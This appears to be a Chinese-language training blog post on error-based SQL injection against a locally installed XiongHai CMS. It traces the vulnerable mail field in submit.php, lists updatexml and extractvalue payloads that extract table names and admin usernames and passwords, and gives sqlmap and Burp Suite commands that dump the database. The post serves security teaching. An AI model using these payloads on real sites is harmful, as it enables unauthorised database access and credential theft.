前言
记上次的熊海CMS代码审计后,这周z男十三年给学弟们讲了sql注入的报错注入,期间遇到了不少坑,欢迎阅读这篇文章的师傅们一起探讨学习。
分析过程
0x01.注入点源码分析
1、首先要装一个熊海cms的网站在本机上,并完成配置(要关闭魔术引号)。点击“联系”,并拉到最下面“发表留言”处。
2、用RIPS对整个网站的根目录进行扫描,发现submit.php 文件下存在SQL报错注入,即存在报错提示,由此定位到文件 /files/submit.php (注意不要定位到/admin/files 这是后台的文件目录)
3、运用 phpstorm 阅读文件源码
4、发现只有 $type 参数进行了过滤,其他参数都是直接传递,但这时候一定要注意可能会引入些文件进行过滤(例如waf文件),以防万一也可以打开 inc 下的 conn.php 看看。
5、可以看出前面的代码都没有对 name、mail、url 等参数进行过滤。
6、找到数据库插入的地方(找一个SELECT语句),发现 $mail 参数会直接传递给数据库,由此我们就可以对这下手,在邮箱后面进行sql报错注入的操作
0x02.报错注入的利用方法
通过构造错误的xml格式获取到数据库内容
1.UpdateXml
#获取数据库
') or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
#获取数据库版本信息
') or updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--+
#获取用户
') or updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--+
#获取表数量
') or updatexml(1,concat(0x7e,(SELECT count(table_name) from
information_schema.tables where table_schema=database()),
0x7e),1)--+
#获取表数据
') or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)–+
') or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)–+
') or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)–+
') or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)–+
( limit 后面带2个整数n 和 m,那么第一个数n就是查询出来队列的起点(从0开始),第二个数m是统计的总数目。这里根据n的不同可以报出不同的表名。)
#获取 manage 表里的段名
')or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name = ‘manage’ limit 0,1),0x7e),1)–+
#获取字段里面的数据
') or updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,user,0x3a,password,0x23,name,0x23) from manage limit 0,1),0x7e),1)–+
2.ExtractValue
#获取数据库 payload
') or extractvalue(1,concat(0x7e,database()))--+
#获取表数量
') or extractvalue(1,concat(0x7e,(select count(table_name)
from information_schema.tables where table_schema=
database())))--+
#获取表数据
') or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))–+
') or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))–+
') or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))–+
') or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))–+
#获取 manage 表里的列名
')or extractvalue(1,mid(concat(0x23(select group_concat(COLUMN_NAME) from information_schema.
COLUMNS
where table_name = ‘manage’),0x23),1,32))–+
#获取字段
‘)or extractvalue(1,mid(concat(0x23,(SELECT GROUP_CONCAT(user,’:‘,
password
) from manage),0x23),1,32))–+(前部分)
‘)or extractvalue(1,mid(concat(0x23,(SELECT GROUP_CONCAT(user,’:’,password
) from manage),0x23),26,32))–+(后部分)
0x03.爆破表名的两种方法(Burpsuite和sqlmap)
Burpsuite
首先将获取表数据的 payload 在 Burpsuite 中填写正确
这里有两种方法:1. UpdateXml 2. ExtractValue
原理:
修改 limit 后面的参数 即可查其他的表名
这时候就可以将包发送到 Intruder 模块
设置这个 limit 后面的参数为变量
攻击载荷设置,看下图
爆破结果:
sqlmap(详见0x04)
在 Burpsuite 中将爆文保存为 txt 格式
之后将保存的 txt 文件放到 sqlmap 的文件夹下(这样比较方便输入指令)
直接使用 -r 参数指定文件 之后跑就完事了
python sqlmap.py -r 13.txt
跑出 post 传参参数为 cid
数据库版本为 MySQL 5.6
跑数据库名
python sqlmap.py -r 13.txt --dbs
跑出对应数据库
继续操作 -D 参数 指定数据库名(这里是指定 test) 对此数据库跑之中的表名
python sqlmap.py -r 13.txt -D test --tables
跑出。
补充:
自动确认 --batch
解析和测试表单输入字段
参数:–forms
除了用-r和–data来测试表单数据是否存在注入点外,还可以使用参数–forms来测试表单数据是否存在注入点。
同时使用参数–forms和-u,Sqlmap 会解析目标 URL(-u指定的那个 URL)返回页面中的表单,测试表单是否有注入点,而不对目标 URL 进行注入测试。
一键优化
参数:-o
添加此参数相当于同时添加下列三个优化参数:
--keep-alive
--null-connection
--threads=3(如果没有设置一个好的值)
0x04.利用sqlmap来进行sql注入
1、通过对前面的注入点分析和报错注入的学习和利用以后,我们使用我们的自动化工具—sqlmap来进行我们的sql注入。
首先我们对注入点的代码进行分析一下,我们这里在mail进行注入
m
a
i
l
=
mail=
mail=_POST[‘mail’] —POST方法传入一个值赋$mail
q
u
e
r
y
=
"
s
e
l
e
c
t
∗
f
r
o
m
i
n
t
e
r
a
c
t
i
o
n
w
h
e
r
e
(
m
a
i
l
=
′
query="select * from interaction where (mail ='
query="select∗frominteractionwhere(mail=′mail’)"; —这是一个sql语句,但是这里在外面有()因此在手工注入的时候需要闭合括号,这里我们主要讲sqlmap自动化注入,因此不再赘述
2、sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。
sqlmap 可以在 windows 上使用也可以在 kali 虚拟机里使用,windows 使用sqlmap时需要安装 Python 环境。
这里具体有两种方法(本文演示都是windows10系统)
一.自动填写表单
自动填写表单是Sqlmap工具POST注入的第一种方法,具体步骤如下:
首先判断是否有POST注入
打开cmd命令,输入 python sqlmap.py -u http://test.com/?r=contact --forms 判断是否有POST注入
判断出了是否存在post注入后,我们按如下流程走
爆数据库名->爆数据库下的数据表名->爆数据表名下的字段->爆数据表名下的字段的值
爆数据库名:
python sqlmap.py -u http://test.com/?r=contact --forms --dbs
数据库名替换为需要查询的数据表所属的数据库
爆字段名:
python sqlmap.py -u http://test.com/?r=contact --forms -D 数据库名 -T 数据表名 --columns
数据库名替换为需要查询的数据表所属的数据库 数据表名替换为查询的字段所属的数据表
爆字段值:
python sqlmap.py -u http://test.com/?r=contact --forms -D 数据库名 -T 数据表名 -C 字段名 --dump
数据库名替换为需要查询的数据表所属的数据库 数据表名替换为查询的字段所属的数据表 字段名替换为所要查询的值所属的字段名 --dump是直接把数据库拖下来
二. Sqlmap 结合 BurpSuite
【----帮助安全学习,所有资源获取处----】
①18份渗透测试电子书
②安全攻防300页笔记
③30份安全攻防面试指南
④安全红队渗透工具包
⑤网络安全必备书籍
⑥99个漏洞实战案例
这是Sqlmap工具POST注入的第二种方法;这种方法要比自动填写表单准确性高些,但是:自动表单会简单快一点。具体步骤如下:
首先我们抓一个提交表单的包,开启burpsuite,设置好我们的代理,拦截以后输入我们提交的数据进行提交
之后Burpsuite会拦截到一个包,直接把抓取到的包复制到一个txt文件下,把txt文件保存后放在sqlmap根目录下
打开cmd命令行
python sqlmap.py -r 6.txt --dbs 这里使用到-r参数
爆数据库名:
python sqlmap.py -r 你的抓的数据包的文件(我演示使用的是6.txt) --dbs
爆数据表:
python sqlmap.py -r 你的抓的数据包的文件(我演示使用的是6.txt) -D 数据库名 --tables
数据库名替换为需要查询的数据表所属的数据库
爆字段名:
python sqlmap.py -r 你的抓的数据包的文件(我演示使用的是6.txt) -D 数据库名 -T 数据表名 --columns
数据库名替换为需要查询的数据表所属的数据库 数据表名替换为查询的字段所属的数据表
爆字段值:
python sqlmap.py -r 你的抓的数据包的文件(我演示使用的是6.txt) -D 数据库名 -T 数据表名 -C 字段名 --dump
数据库名替换为需要查询的数据表所属的数据库 数据表名替换为查询的字段所属的数据表 字段名替换为所要查询的值所属的字段名 --dump是直接把数据库拖下来
0x05.updatexml 函数
首先了解一下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
第二个参数:XPath_string ( Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变 XML_document 中符合 XPATH_string 的值
正确的XPath语法:
UPDATE testtableSET testxml= Updatexml(testxml,‘/Student/Class/Name[self:text()=“zhangsan”]’,‘updatename’)
在注入中使用的原理:
先看一条常见的注入语句
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
显而易见的是,利用concat函数拼接而成的字符串绝对不符合XPath语法
所以XPath会把不符合语法的字符串报错出来,结果刚好给我们提供了回显
而第一,三个参数中的1随便填啥都行
上面的图就是实战中的应用了,可以看到的是文本 :root@localhost 不符合XPath的语法规范,所以 updatexml 函数把这个不符合规范的文本显示给了用户
0x06.extractvalue 函数
extractvalue() 是mysql里面对XML文档进行查询的函数
首先了解一下extractvalue()函数
extractvalue(XML_document, XPath_string)
第一个参数:XML_document是目标xml文档
第二个参数:XPath_string是xml路径
extractvalu()函数报错注入的利用
原理 :extractvalue( )函数里的 XPath 是可以操作的,XPath 的正确格式是///,是路径格式,如果写成其他格式,就会报错,并且会把错误信息显示出来,这样就产生了 extractvalue() 函数报错注入。
例:
extractvalue(1,concat(0x7e,database()))
concat()是连接两个字符串的函数,把逗号前后的字符串连接起来,拼接为一个字符串。
0x7e代表的是,不是正确的路径格式,这样就产生了报错,然后显示出database()的内容,这样就把数据库爆出来了
注意:extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取。
substring(start,x)用于提取字符串中start后x个字符
例:
extractvalue(1,concat(0x7e,substring(database(),3,4)))
这样就可以把datebase()里第3到6第个字符显示出来了。
踩的坑
坑一:在练习页面留言报错—三种解决方法
当我们在熊海联系页面留言发生如下报错时,其原因是因为rcontet字段没有设置默认值,我们有三种办法可以解决。
1.修改My.ini
1.1 在phpstudy中打开my.ini
1.2 将sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"修改为为sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"然后重启MYSQL。这里我们选择的mysql版本最好低于5.5,我尝试了5.7发现my.ini中没有这句话,5.7版本需要其他的方法。
2.在navicat中修改
2.1 先连接我们的数据库
2.2 打开我们库中的interaction表格,然后点击设计表。
2.3 最后将rcontent字段的不是NULL列的勾取消掉,此时我们就可以正常提交留言了。
3.修改PHP代码
3.1 在网页根目录的/file目录下打开submit.php,找到图片位置,在133行的date和147行的now()后面加上一个",",再在下面一行加上rcontent,再在148行加上’rcontent’,然后保存即可。
坑二:xedbug 调试不转跳到 submit.php
在我们用 xdebug 调试时,一步步点击步入,我们想让他跳到 submit.php ,但是最终停留在 time.class.php 中,这是为什么?
这是因为 contack 是这整个网页,而 submin 只是这个留言框,因此,我们在利用 xdebug 调试时,不能刷新整个页面,只需要点提交就可
然后一步步点击步入,就来到submit.php中了
坑三:burp使用出现乱码,burpRepeater模块的光标选择错位问题
关于使用burp抓包而返回值乱码问题
当我们使用burp抓包时,发送到Repeater模块进行请求后,却发现返回的内容中有乱码
1:使用Proxy模块抓包
2:发送到Reperter模块
3:点击Send发送求求
4:返回值发现乱码
解决方法
第一种:
1.选择User options,选择Display中的Character Sets,选择第三个,将其调为目标网址的编码
第二种:
选择User options,选择 Display 中的 HTTP MessageDisplay,将其选择为宋体(目标站的返回值字体即可)
修改好之后的结果如图所示
ps:目标站的编码在如图所示的地方
关于burpRepeater模块的光标选择错位问题
有两种表现
1.就是明明选择的是某个位置,但打出来的东西却不在这个位置上
2.光标跑到字体的中间去了
解决的方法很简单
第一步:选择User options
第二部:选择Display
第三部:将HTTP MessageDisplay 字体设置为楷体,大小设置为8的倍数,16,24,32,40即可